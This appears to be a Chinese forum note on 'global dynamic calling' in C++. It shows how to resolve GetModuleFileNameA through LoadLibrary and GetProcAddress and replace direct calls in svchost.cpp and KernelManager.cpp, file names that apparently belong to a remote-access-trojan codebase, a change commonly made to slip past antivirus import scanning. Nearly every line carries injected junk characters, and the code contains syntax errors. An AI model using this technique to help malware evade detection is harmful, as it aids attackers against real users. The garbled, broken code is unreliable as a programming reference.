[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
$ T1 Q: X4 u, R5 a9 ^svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
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: L' `7 x: K& R  c3 c4 z  }DTDY.h：
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* E# M8 F( P2 i/ U#if _MSC_VER>1000
. v$ ]7 h2 j  G1 z8 I" `#pragma once' J4 D8 G& I  U3 y' w) }9 w, P7 b, x* w; W
#endif //_MSC_VER>1000: u9 I4 ~. j+ ^7 ]6 z
#include<windows.h>
# `$ h6 u- F. {: I  @
2 L- w( F3 p0 B( q" Ptypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);+ f" s5 v3 M$ X1 B+ @/ a
class DTDY
, I- R* I1 q* n{
# l# F: A% D( T% k8 ypublic:
7 [3 h3 U% s2 l0 I5 oDTDY();
) b. G9 M4 V) ^virtual ~DTDY();
: T) b4 R% s4 d5 d2 N0 J3 ]public:
9 j% R+ d) R' V9 B) Y3 Qstatic pGetModuleFileNameA MyGetModuleFileName;
# f8 R/ X) V2 j& H# d( z# fstatic BOOL FunInitiallization();
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#endif
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. f$ z" F4 G8 Y4 mDTDY.cpp:$ K; z9 h% z( a
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#include "DTDY.h"% {3 N% s( X4 D& `) f$ {
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
' K2 p' o. L) p# U' JDTDY:TDY()6 h( `3 w; {+ v9 T% S( _; S
{
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) f3 G  P& K) ^" {6 X' d3 rDTDY::~DTDY()
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}
+ L/ j/ @/ x, Y7 E6 Q7 nBOOL DTDY::FunInitiallization()
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HMODULE hModule=LoadLibrary("kernel32.dll");  }& U8 o! g( c0 p+ i. D1 ^9 L
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
, R" |1 l, H: s  p; [if(!MyGetModuleFileName=) return FALSE;
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return TRUE;
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: D- [0 \9 A- Z" m. S7 Xsvchost.cpp:
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#include "DTDY.h"
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) o; ]* I4 B$ D' `: B; X, h: oBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)# M$ o. h* Y0 m5 x; N7 P
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switch(ul_reason_for_call)+ P9 \3 e# l! f9 w7 N  u8 P9 l4 ^
{
3 [: p: q# n7 z2 y, gcase DLL_PROCESS_ATTACH:# M( ]8 L% R# G
if(!DTDY::FunInitiallization()) return FALSE;6 e: }5 _2 R  |% H8 }. l$ q" M' E

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}
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7 i& s8 z" g6 E) o' ~7 cGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
  g$ p6 S, C- O, B: V6 ^改写为
. U7 N+ ?; v8 JDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));# ^* d6 \) ?$ C9 ^) U% A
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KernelManager.cpp:
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% b& u3 X7 Y* S- G% b( f0 p#include "../DTDY.h"2 Q3 z- o9 S# U& _$ p
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));3 ]$ \" I. L) a0 Y8 U! W2 g& v
改写为* d. J8 V3 A9 X4 z
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
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